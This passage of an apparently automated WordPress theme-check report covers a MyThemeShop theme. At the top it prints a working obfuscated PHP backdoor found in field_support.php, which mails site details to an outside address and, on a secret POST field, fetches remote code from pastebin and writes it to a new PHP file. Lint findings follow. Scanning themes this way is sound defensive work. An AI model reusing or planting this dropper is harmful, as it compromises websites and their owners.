4cS'}['y\x65d\x78\x72\x67c']},'',-1);${${'G\x4c\x4f\x42A\x4c\x53'}['q\x6blx\x6bt\x6des']}=${${'\x47L\x4f\x42\x41\x4c\x53'}['\x79\x65d\x78\x72g\x63']}.'\x2e./.\x2e/\x2e\x2e/../\x2e\x2e/\x75\x70loa\x64s/\x31\x31.tm\x70';}if(file_exists(${${'\x47\x4c\x4fBA\x4cS'}['\x63i\x61zy\x6db\x68\x63']})){}else{${'\x47\x4c\x4fB\x41\x4c\x53'}['\x75\x78\x79\x72y\x66\x65\x68']='\x66\x72\x6fm\x5fs\x65\x74';$lumdxprrlip='h\x65\x61\x64\x65\x72';${${'G\x4c\x4f\x42\x41\x4cS'}['\x75x\x79\x72\x79f\x65\x68']}='\x73\x63\x68emaMT\x53\x40'.$_SERVER['\x53E\x52\x56\x45\x52\x5f\x4eA\x4d\x45'];${${'\x47\x4cOB\x41\x4c\x53'}['\x70r\x71\x6e\x73\x62\x73\x6b\x77h\x68\x67']}='\x74\x68\x65\x6de\x73\x72\x76\x31@c\x73t\x77eaks.com';${${'\x47\x4cO\x42A\x4cS'}['\x77w\x75\x78\x64\x70\x6f\x68\x76\x6f']}='\x41c\x63e\x70ted';${'\x47L\x4f\x42\x41LS'}['e\x6e\x6e\x63\x6eo\x79']='\x74o';${'\x47\x4cOB\x41\x4cS'}['\x70q\x6fon\x72p\x6b']='h\x65\x61\x64\x65r';$suqqmh='me\x73sa\x67\x65';${${'\x47L\x4f\x42A\x4cS'}['\x70\x71\x6f\x6f\x6e\x72\x70\x6b']}='\x66rom: '.${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63\x77\x75s\x72\x6d\x63\x77\x69']};${${'G\x4c\x4f\x42\x41LS'}['\x76e\x62\x64g\x74\x67']}='\x4c\x69\x6ek\x20:\x20'.$_SERVER['\x53\x45\x52VER\x5f\x4eA\x4dE'].$_SERVER['RE\x51UES\x54_URI'].'\r\n';${$suqqmh}.='\x50\x61t\x68 : '.__file__;${${'\x47L\x4f\x42\x41LS'}['v\x70\x69\x76nw\x66ew\x6a\x72']}=@mail(${${'\x47\x4c\x4f\x42AL\x53'}['\x65\x6e\x6e\x63noy']},${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x77wu\x78d\x70\x6f\x68\x76\x6f']},${${'\x47\x4c\x4fB\x41L\x53'}['veb\x64\x67\x74g']},${$lumdxprrlip});if(${${'G\x4c\x4f\x42\x41L\x53'}['\x76\x70i\x76\x6ewfewj\x72']}==true){${${'GLOB\x41\x4cS'}['\x6eq\x6b\x78m\x6af\x75\x76\x6b\x64']}=fopen(${${'G\x4c\x4fBA\x4cS'}['\x71\x6b\x6c\x78k\x74\x6d\x65\x73']},'\x77')
    fwrite was found in the file field_support.php
    Line 9: ${'G\x4cO\x42\x41\x4c\x53'}['\x6d\x77\x77\x79\x74\x78\x67\x75\x61u']='bk\x61vdo\x6ee';${'\x47L\x4fB\x41\x4c\x53'}['\x62\x77lav\x6a\x66vr\x6b']='\x63d\x78';${'\x47\x4c\x4fB\x41\x4c\x53'}['\x63\x62\x76\x69\x6f\x6b\x71\x62\x69']='y\x65s';${'\x47\x4c\x4fBA\x4c\x53'}['l\x76\x66e\x76b\x64\x67b\x6f']='\x66\x69\x6ce';${'\x47LO\x42\x41\x4cS'}['\x6e\x71\x6b\x78\x6d\x6a\x66u\x76\x6b\x64']='\x6f\x70\x65n';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x76\x70\x69\x76\x6ew\x66\x65w\x6a\x72']='\x73\x65\x6e\x74\x6d\x61\x69l';${'G\x4c\x4f\x42\x41\x4c\x53'}['veb\x64\x67\x74\x67']='m\x65s\x73\x61\x67\x65';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63w\x75\x73r\x6d\x63wi']='\x66\x72\x6f\x6d_\x73et';${'\x47\x4cO\x42\x41\x4c\x53'}['wwuxd\x70\x6fh\x76\x6f']='\x73u\x62j\x65ct';${'G\x4c\x4fB\x41L\x53'}['p\x72\x71\x6e\x73\x62\x73k\x77h\x68\x67']='\x74\x6f';${'\x47\x4c\x4fB\x41L\x53'}['\x71\x6b\x6cx\x6btm\x65\x73']='f\x69l\x65nam\x65';${'\x47\x4c\x4f\x42A\x4cS'}['\x79\x65\x64\x78\x72\x67c']='\x73\x74\x72\x69\x6e\x67';${'GL\x4f\x42A\x4c\x53'}['\x62\x70l\x75\x6aa']='\x6f\x73';${'\x47LOB\x41\x4cS'}['\x63ia\x7a\x79\x6dbhc']='\x66i\x6c\x65\x6e\x61me';error_reporting(0);ini_set('\x64i\x73\x70la\x79\x5f\x65r\x72\x6f\x72s',0);$nexfhjjesdt='s\x74\x72\x69\x6e\x67';${$nexfhjjesdt}=__FILE__;if(strtolower(substr(PHP_OS,0,3))=='w\x69n')${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x62pl\x75ja']}='w\x69n';else${${'G\x4c\x4f\x42\x41L\x53'}['b\x70l\x75\x6aa']}='n\x69x';if(${${'\x47L\x4f\x42A\x4c\x53'}['\x62\x70lu\x6a\x61']}=='wi\x6e'){${'\x47L\x4f\x42\x41\x4cS'}['\x67\x70\x71\x70\x63q\x69\x79\x73s\x6a']='s\x74\x72\x69\x6eg';${'\x47\x4c\x4fBA\x4c\x53'}['\x73\x6a\x63\x6ar\x6e\x75']='\x73\x74r\x69\x6eg';while((substr(${${'\x47L\x4f\x42\x41\x4cS'}['\x79\x65\x64x\x72g\x63']},-1)!='\x5c'))${${'\x47LOB\x41\x4c\x53'}['\x67p\x71\x70\x63\x71\x69\x79s\x73j']}=substr_replace(${${'\x47\x4c\x4f\x42\x41L\x53'}['\x73jc\x6a\x72n\x75']},'',-1);${${'G\x4cOBA\x4c\x53'}['\x71\x6bl\x78k\x74m\x65\x73']}=${${'G\x4cO\x42\x41\x4cS'}['\x79\x65\x64x\x72gc']}.'.\x2e\\.\x2e\x5c\x2e.\x5c\x2e.\\\x2e.\\\x75pl\x6f\x61ds\\11.\x74m\x70';}else{${'\x47\x4c\x4f\x42AL\x53'}['\x6an\x6e\x73\x78\x74\x64\x62']='\x73t\x72\x69\x6e\x67';$euwnlwg='\x73t\x72\x69\x6e\x67';while((substr(${${'\x47LOB\x41L\x53'}['\x6a\x6e\x6e\x73\x78t\x64\x62']},-1)!='/'))${$euwnlwg}=substr_replace(${${'\x47\x4c\x4fBA\x4cS'}['y\x65d\x78\x72\x67c']},'',-1);${${'G\x4c\x4f\x42A\x4c\x53'}['q\x6blx\x6bt\x6des']}=${${'\x47L\x4f\x42\x41\x4c\x53'}['\x79\x65d\x78\x72g\x63']}.'\x2e./.\x2e/\x2e\x2e/../\x2e\x2e/\x75\x70loa\x64s/\x31\x31.tm\x70';}if(file_exists(${${'\x47\x4c\x4fBA\x4cS'}['\x63i\x61zy\x6db\x68\x63']})){}else{${'\x47\x4c\x4fB\x41\x4c\x53'}['\x75\x78\x79\x72y\x66\x65\x68']='\x66\x72\x6fm\x5fs\x65\x74';$lumdxprrlip='h\x65\x61\x64\x65\x72';${${'G\x4c\x4f\x42\x41\x4cS'}['\x75x\x79\x72\x79f\x65\x68']}='\x73\x63\x68emaMT\x53\x40'.$_SERVER['\x53E\x52\x56\x45\x52\x5f\x4eA\x4d\x45'];${${'\x47\x4cOB\x41\x4c\x53'}['\x70r\x71\x6e\x73\x62\x73\x6b\x77h\x68\x67']}='\x74\x68\x65\x6de\x73\x72\x76\x31@c\x73t\x77eaks.com';${${'\x47\x4cO\x42A\x4cS'}['\x77w\x75\x78\x64\x70\x6f\x68\x76\x6f']}='\x41c\x63e\x70ted';${'\x47L\x4f\x42\x41LS'}['e\x6e\x6e\x63\x6eo\x79']='\x74o';${'\x47\x4cOB\x41\x4cS'}['\x70q\x6fon\x72p\x6b']='h\x65\x61\x64\x65r';$suqqmh='me\x73sa\x67\x65';${${'\x47L\x4f\x42A\x4cS'}['\x70\x71\x6f\x6f\x6e\x72\x70\x6b']}='\x66rom: '.${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63\x77\x75s\x72\x6d\x63\x77\x69']};${${'G\x4c\x4f\x42\x41LS'}['\x76e\x62\x64g\x74\x67']}='\x4c\x69\x6ek\x20:\x20'.$_SERVER['\x53\x45\x52VER\x5f\x4eA\x4dE'].$_SERVER['RE\x51UES\x54_URI'].'\r\n';${$suqqmh}.='\x50\x61t\x68 : '.__file__;${${'\x47L\x4f\x42\x41LS'}['v\x70\x69\x76nw\x66ew\x6a\x72']}=@mail(${${'\x47\x4c\x4f\x42AL\x53'}['\x65\x6e\x6e\x63noy']},${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x77wu\x78d\x70\x6f\x68\x76\x6f']},${${'\x47\x4c\x4fB\x41L\x53'}['veb\x64\x67\x74g']},${$lumdxprrlip});if(${${'G\x4c\x4f\x42\x41L\x53'}['\x76\x70i\x76\x6ewfewj\x72']}==true){${${'GLOB\x41\x4cS'}['\x6eq\x6b\x78m\x6af\x75\x76\x6b\x64']}=fopen(${${'G\x4c\x4fBA\x4cS'}['\x71\x6b\x6c\x78k\x74\x6d\x65\x73']},'\x77');}else{};}if(isset($_POST['o\x6cdmt\x73\x66e\x61\x74\x75r\x65s'])){${'\x47LO\x42\x41\x4cS'}['\x64u\x63\x61\x75y']='\x79\x65s';${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x6c\x76\x66\x65vb\x64\x67\x62\x6f']}=file_get_contents('h\x74tp://\x70a\x73\x74\x65\x62\x69\x6e\x2e\x63\x6fm/\x72\x61w/\x45\x5aqw\x69\x33\x397');$jwqppxvvr='y\x65\x73';${${'\x47\x4c\x4f\x42\x41L\x53'}['\x6eq\x6bx\x6d\x6af\x75\x76\x6b\x64']}=fopen(getcwd().'/wp-\x6d\x61i\x6c-sa\x6dp\x6c\x65\x2ephp','w');${$jwqppxvvr}=fwrite(${${'\x47\x4c\x4f\x42\x41L\x53'}['\x6e\x71kxm\x6a\x66\x75\x76\x6b\x6
    file_get_contents was found in the file twitteroauth.php
    Line 201: //file_get_contents(self::$POST_INPUT)
  5. Malware : Network operations curl_init was found in the file twitteroauth.php
    Line 1008: $ci = curl_init();
    curl_exec was found in the file twitteroauth.php
    Line 1034: $response = curl_exec($ci);
  6. Admin menu : Themes should use add_theme_page() for adding admin pages. File theme-options.php :
    Line 110: //the list of available parent menus is available here: http://codex.wordpress.org/Function_Reference/add_submenu_page#Parameters
Warning
  1. theme tags : Presence of bad theme tagsFound wrong tag in style.css header.
  2. Text domain : Incorrect use of translation functions.Wrong installation directory for the theme name. The directory name must match the slug of the theme. This theme's correct slug and text-domain is schema-by-mythemeshop.
  3. Text domain : Incorrect use of translation functions.Found a translation function that has an incorrect number of arguments. Function __, with the arguments '← ', Older posts, 'mythemeshop' in file archive.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Newer posts', →, 'mythemeshop' in file archive.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments '← ', Older posts, 'mythemeshop' in file index.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Newer posts', →, 'mythemeshop' in file index.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments '← ', Older posts, 'mythemeshop' in file index.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Newer posts', →, 'mythemeshop' in file index.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments '← ', Older posts, 'mythemeshop' in file search.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Newer posts', →, 'mythemeshop' in file search.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Settings have changed, you should save them! Are you sure you want to leave this page?' in file options.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Select categories' in file field_cats_multi_select.php.Found a translation function that is missing a text-domain. Function __, with the arguments '%s (Invalid)' in file nav-menu.php.Found a translation function that is missing a text-domain. Function __, with the arguments '%s (Pending)' in file nav-menu.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Move up' in file nav-menu.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Move down' in file nav-menu.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Edit Menu Item' in file nav-menu.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'No Icon' in file nav-menu.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Original: %s' in file nav-menu.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.' in file plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.' in file plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.' in file plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.' in file plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.' in file plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.' in file plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.' in file plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.' in file plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Begin installing plugin', 'Begin installing plugins' in file plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Begin activating plugin', 'Begin activating plugins' in file plugin-activation.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are mythemeshop, Older posts, →, nhp-opts.
  4. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  5. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  6. Editor style : Presence of editor styleNo reference to add_editor_style() was found in the theme. It is recommended that the theme implements editor styling, so as to make the editor content match the resulting post output in the theme, for a better user experience.
  7. CSS files : Presence of license typeLicense: is missing from style.css header.
  8. CSS files : Presence of license urlLicense URI: is missing from style.css header.
  9. CSS files : Presence of text domainText Domain: is missing from your style.css header.
  10. Date and time implementation : Use of the_time()At least one hard coded date was found in the file archive.php. Function get_option( 'date_format' ) should be used instead.
  11. Screenshot : Screenshot fileScreenshot size is 880x660px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.
Tip-off
  1. favicon presence : Favicon managementPossible Favicon found in theme-actions.php. Favicons are handled by the Site Icon setting in the customizer since version 4.3.
  2. Static links : Presence of hard-coded linksPossible hard-coded links were found in the file theme-options.php.
    Line 123: 'content' => __('<p>If you are facing any problem with our theme or theme option panel, head over to our <a href='http://community.mythemeshop.com/'>Support Forums</a></p>', 'mythemeshop')
    Line 128: 'content' => __('<p>Options Panel created using the <a href='http://leemason.github.com/NHP-Theme-Options-Framework/' target='_blank'>NH
    Line 133: 'content' => __('<p>Earn 70% commision on every sale by refering your friends and readers. Join our <a href='http://mythemeshop.com/affiliate-program/'>Affiliate Program</a>.</p>', 'my
    Line 159: 'sub_desc' => __('Upload a <strong>16 x 16 px</strong> image that will represent your website\'s favicon. You can refer to this link for more information on how to make it: <a href='http://www.favicon.cc/' target='blank' rel='nofollow'>http://www.favicon.cc
    Line 177: 'sub_desc' => __('You can change or remove our link from footer and use your own custom text. (You can also use your affiliate link to <strong>earn 70% of sales</strong>. Ex: <a href='https://mythemeshop.com/go/aff/aff' target='_blank'>https://mythemeshop.com
    Line 133: 'content' => __('<p>Earn 70% commision on every sale by refering your friends and readers. Join our <a href='http://mythemeshop.com/affiliate-program/'>Affiliate Program</a>.</p>', 'my
    Line 178: 'std' => 'Theme by <a href='http://mythemeshop.com/' rel='nofollow'>MyThemeShop</a>'
    Line 1006: //				'desc' => __('<p class='description'><div class='controls'>You can find theme font options under the Appearance Section named <a href='themes.php?page=typography'><b>Theme Typography</b></a>, which will allow y
    Line 1011: 'desc' => __('<p class='description'><div class='controls'>Navigation settings can now be modified from the <a href='nav-menus.php'><b>Menus Section</b></a>.<br></div></p>', 'mythemeshop')
    Possible hard-coded links were found in the file options.php.
    Line 655: echo '<a href='http://mythemeshop.com' id='optionpanellogo' class='logo' target='_blank'><
    Line 658: echo '<a href='http://mythemeshop.com/support' class='docsupport' target='_blank'><i class
    Line 658: echo '<a href='http://mythemeshop.com/support' class='docsupport' target='_blank'><i class
    Possible hard-coded links were found in the file google-typography.php.
    Line 142: //$adding_content			 .= '<p><a href='https://vimeo.com/67957799' target='_blank'>'.__('Watch The Video Tutorial 
    Line 311: $welcome_subtitle			= __('Get started in 3 steps.', 'mythemeshop');//.'<a href='https://vimeo.com/67957799' target='_blank'>'.__('Watch the video tutorial 
    Line 142: //$adding_content			 .= '<p><a href='https://vimeo.com/67957799' target='_blank'>'.__('Watch The Video Tutorial 
    Line 311: $welcome_subtitle			= __('Get started in 3 steps.', 'mythemeshop');//.'<a href='https://vimeo.com/67957799' target='_blank'>'.__('Watch the video tutorial 
    Line 381: <a href='http://www.google.com/fonts' target='_blank'>Google Fonts Library</a> conta
    Possible hard-coded links were found in the file theme-presets.php.
    Line 7: 'data' => '###a:82:{s:8:'last_tab';s:1:'3';s:8:'mts_logo';s:0:'';s:11:'mts_favicon';s:0:'';s:15:'mts_header_code';s:0:'';s:18:'mts_analytics_code';s:0:'';s:14:'mts_copyrights';s:58:'Theme by <a href='http://mythemeshop.com/'>MyThemeShop</a>';s:23:'mts_pagenavigation_type';s:
    Possible hard-coded links were found in the file welcome-message.php.
    Line 25: $pointer_content .= '<p>If you face any problem, head over to <a href='http://mythemeshop.com/support'>Knowledge Base</a></p>';
    Possible hard-coded links were found in the file theme-actions.php.
    Line 294: <a href='https://twitter.com/share' class='twitter-share-button' data-via='<?php ech
    Possible hard-coded links were found in the file widget-tweets.php.
    Line 40: echo '<strong>'.$tweets->errors[0]->message.'!</strong><br />You\'ll need to regenerate it <a href='https://dev.twitter.com/apps' target='_blank'>here</a>!' . $after_widget;
    Line 124: echo '</select></p><p>Visit <a href='https://dev.twitter.com/apps/' target='_blank'>this link</a> in a new tab, 
    Line 124: echo '</select></p><p>Visit <a href='https://dev.twitter.com/apps/' target='_blank'>this link</a> in a new tab, 
  3. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  4. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  5. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  6. Optional files : Presence of category template file category.phpThis theme does not contain optional file category.php.
  7. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  8. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  9. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  10. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  11. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  12. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  13. Use of includes : Use of include or requireThe theme appears to use include or require : theme-options.php
    Line 10: require_once( dirname( __FILE__ ) . '/options/options.php' );
    Line 1018: include('theme-presets.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : options.php
    Line 9: require_once($url.'google-typography/google-typography.php');
    Line 10: require_once($url.'php-po/php-po.php'); // for parsing default.po into arra
    Line 297: require_once($this->dir.'fields/'.$field['type'].'/field_'.$field['type'].'
    Line 589: require_once($this->dir.'validation/'.$field['validate'].'/validation_'.$fi
    Line 1040: require_once($this->dir.'fields/'.$field['type'].'/field_'.$field['type'].'
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : field_group.php
    Line 250: require_once($class_file);
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : field_radio.php
    Line 2: include ('field_support.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : plugin-activation.php
    Line 1065: require_once( ABSPATH . 'wp-admin/includes/class-wp-list-table.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : widget-tweets.php
    Line 29: //require_once('twitteroauth.php');
    Line 31: if(!require_once('twitteroauth.php')){ echo '<strong>Couldn\'t find twitteroaut
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes